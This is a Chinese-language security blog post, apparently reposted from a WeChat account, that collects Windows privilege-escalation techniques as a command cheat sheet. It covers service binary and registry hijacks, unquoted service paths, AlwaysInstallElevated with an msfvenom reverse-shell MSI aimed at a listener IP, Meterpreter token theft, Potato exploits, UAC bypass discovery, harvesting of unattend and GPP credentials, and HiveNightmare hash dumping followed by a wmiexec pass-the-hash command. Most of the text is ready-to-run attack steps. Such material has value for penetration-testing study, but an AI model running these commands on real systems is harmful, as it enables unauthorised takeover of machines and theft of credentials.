Windows权限提升方式总结

admin 2024年7月3日23:25:58评论10 views字数 5665阅读18分53秒阅读模式

免责声明由于传播、利用本公众号SSP安全研究所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号SSP安全研究及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

1

系统内核漏洞提权

https://github.com/bitsadmin/wesng or pip install wesng

  1. 1. 导出systeminfo

  2. 2. 使用WES-NG查找可用漏洞

Windows权限提升方式总结
python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
指定漏洞类型为提权漏洞
python3 wes.py systeminfo.txt --impact "Elevation of Privilege" --exploits-only
查找所有已公开EXP的提权漏洞

2

系统服务提权

不安全的服务权限

  1. 1. 上传accesschk.exe 和 msf生成的木马

  2. 2. 查找权限 accesschk.exe -uwcqv "Administrators" *

  3. 3. 选取一个具有高权限的服务 替换二进制程序为payload

sc config EapHost binpath= "C:UsersAdministratorDesktophello.exe"

  1. 1. kali监听 重启服务 sc start EapHost

Windows权限提升方式总结

服务注册表权限脆弱

  1. 1. 通过AccessChk枚举目标主机中“Authenticated Users”用户组具有写入权限的服务注册表C:UsersAdministratorDesktop>accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLMSYSTEMCurrentControlSetServices

    Windows权限提升方式总结

    2. Authenticated Users对RpcEptMapper有控制权限,将注册表中ImagePath键指向payloadC:UsersAdministratorDesktop>reg add HKLMSYSTEMCurrentControlSetServicesRpcEptMapper /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:UsersAdministratorDesktopreverse_tcp.exe" /f

    Windows权限提升方式总结
  2. 3. 查询当前用户是否有该服务的重启权限accesschk.exe /accepteula -uvwqk "Authenticated Users" RegSvc

  3. 4. 重启服务 或 重启计算机 上线CS

服务路径权限可控

如果目标主机上用户存在错误配置或操作,使得一个低权限的用户对此服务调用的二进制文件或其所在目录拥有写入权限,那么可以直接将该文件替换成攻击载荷,并随着服务的启动继承系统权限。

  1. 1. 用AccessChk查看apache这个服务的二进制文件所在目录是否有写入权限accesschk.exe /accepteula -quv "C:Program FilesInternet Explorer"将服务二进制文件替换为同名的payload 重启服务上线CS

未引用的服务路径

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。无引号服务路径有可能会导致这种情况的发生。所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

C:Program FilesSome Folderservice.exe

windows会安装从左到右的顺序依次尝试寻找并执行与空格之前名字相同的程序 Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe

用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

枚举出两个结果,可见第二个服务vulns的路径是包含空格的,所以其可能存在漏洞

Windows权限提升方式总结

查看是否有写入权限 发现wgy具有写入权限

accesschk.exe /accepteula -quv "c:Program Files" && accesschk.exe -quv "c:Program Fileswgy"
Windows权限提升方式总结

或者使用icacls查看

icacls "c:Program Files" && icacls "c:Program Fileswgy"
Windows权限提升方式总结

此时向"c:Program Fileswgy"目录上传一个名为test.exe的poc

copy beacon.exe "c:Program Fileswgytest.exe"
Windows权限提升方式总结

服务重启后,系统会按照前文说过的顺序依次检查服务路径,当检查到"c:Program Fileswgytest.exe"时,攻击载荷将以system权限运行

Windows权限提升方式总结

MSI安装策略提权

1. 判断系统是否存在漏洞reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

2. 开启AlwaysInstallElevated选项reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1

Windows权限提升方式总结

3. msf生成msi木马 并且监听msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.135 lport=4444 -f msi -o res.msi

4. 上传木马并执行msiexec /quiet /qn /i res.msi

Windows权限提升方式总结

3

访问令牌操纵

 利用msf窃取令牌

load incognito
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
steal_token <PID>

Windows权限提升方式总结

  通过令牌获取TrustedInstaller权限

sc start TrustedInstaller
steal_token 3800

Windows权限提升方式总结
Windows权限提升方式总结

Potato家族提权

查看当前用户权限,是否符合要求whoami /all 
whoami /priv 
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *
如果均未开启,那么无法提权
###### Rottenpotato(烂土豆)
[https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe)
```java
upload ~/script/priv/potato.exe c:/
use incognito
list_tokens -u
execute -cH -f C:potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
Windows权限提升方式总结

Juicy Potato

https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

  1. 1. 上传JuicyPotato.exe 和 shell.exe 到目标主机

  2. 2. JuicyPotato.exe -t t -p "shell.exe" -l 4444 -n 135 -c CLSID

  3. 3. CLSID参考 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Windows权限提升方式总结

https://github.com/uknowsec/JuicyPotato

Windows权限提升方式总结

4

Bypass UAC

UAC白名单

白名单特性 Manifest数据中autoElevate属性的值为true

1. Sigcheck检测程序是否具有autoElevate属性,例如sigcheck.exe /accepteula -m C:WindowsSystem32ComputerDefaults.exe

Windows权限提升方式总结

2. Strings找出所有具有autoElevate属性的程序strings.exe /accepteula -s C:WindowsSystem32*.exe | findstr /i "sutoElevate"

Windows权限提升方式总结

5

用户凭据操作

枚举Unattended凭据

无人值守安装会在系统残留配置文件可能包含管理员用户名密码C:sysprep.inf
C:syspregsysprep.xml
C:syspregsystem32sysprep.inf
C:syspregsystem32sysprepsysprep.xml
C:unattend.xml
C:WindowsPantherUnattend.xml
C:WindowsPantherUnattended.xml
C:WindowsPantherUnattendUnattend.xml
C:WindowsPantherUnattendUnattended.xml
C:Windowssystem32SysgrepUnattend.xml
msf模块 post/windows/gather/enum_unattend模块可以自动检索

Windows权限提升方式总结

获取组策略凭据

    微软在Windows Server 2008 中引入了组策略首选项, 允许网络管理员对指定计算机和用户配置特定的设置 在新建一个组后, 控制器会在SYYVOL共享目录下生成一个xml文件, 改文件保留了组策略更新后的密码。SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹, 主要存放登录脚本,组策略数据以及其他域控制器需要的域信息等, 并在所有结果身份验证的域用户或者域信任用户范围内共享 在SYSVOL目录中可以找到一个名为Groups.xml的文件,其中的cpassword字段保存了经过AES 256加密后的用户密码, 微软在2012年公布了加密秘钥, 这就意味着域内用户都可以读取Groups.xml中的密码并使用公开的秘钥进行解密。且由于通过组策略批量修改的本地管理员密码都是相同的, 这就意味着拿到一台机器的本地管理员密码就拿到了域控账户进而通过域管账户拿下整个域。msf post/windows/gather/credentials/gpp模块可以自动搜索SYSVOL共享目录中的XML并解出用户密码

Windows权限提升方式总结

HiveNightmare

该漏洞可以以system权限运行任意代码。条件 已启用系统保护 存在已创建的系统还原点 启用本地管理员账户

C:WindowsSystem32configSAM
C:WindowsSystem32configSYSTEM
C:WindowsSystem32configSECURITY

1. 检测是否存在漏洞icacls C:WindowsSystem32configSAM如果输出 BUILTINUsers:(I)(RX) 表示该系统易受攻击,如下

Windows权限提升方式总结
  1. 2. 上传HiveNightmare.exe读取上面三个文件

Windows权限提升方式总结
  1. 1. 获取目标用户hash

在获得 SAM、SECURITY、SYSTEM 文件后,我们就可以使用 secretsdump.py 获取目标用户的 hash了。

# python secretsdump.py -sam sam文件 -system system文件 -security security文件
python secretsdump.py -sam SAM-2023-01-30 -system SYSTEM-SAM-2023-01-30 -security SECURITY-2021-SAM-2023-01-30 LOCAL

得到用户的哈希值后,可以对其进行暴力破解,也可以直接使用本地管理员用户进行哈希传递,从而获取system权限。由于是在同一台计算机进行哈希传递,所以无需管理员关闭防火墙也能进行哈希传递

python wmiexec.py administrator@192.168.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:4142ea6b86c97a94caf82f7bc9144814
Windows权限提升方式总结

6

往期精彩

史上最优雅的Mac 渗透集成工具箱
域内武器化工具1.5W字详解(适合快速复制粘贴命令)
域内渗透手法全解(万字长文+实验)适合收藏
某学校小程序渗透测试
记某高校渗透测试24-0506

原文始发于微信公众号(SSP安全研究):Windows权限提升方式总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日23:25:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows权限提升方式总结http://cn-sec.com/archives/2839561.html

发表评论

匿名网友 填写信息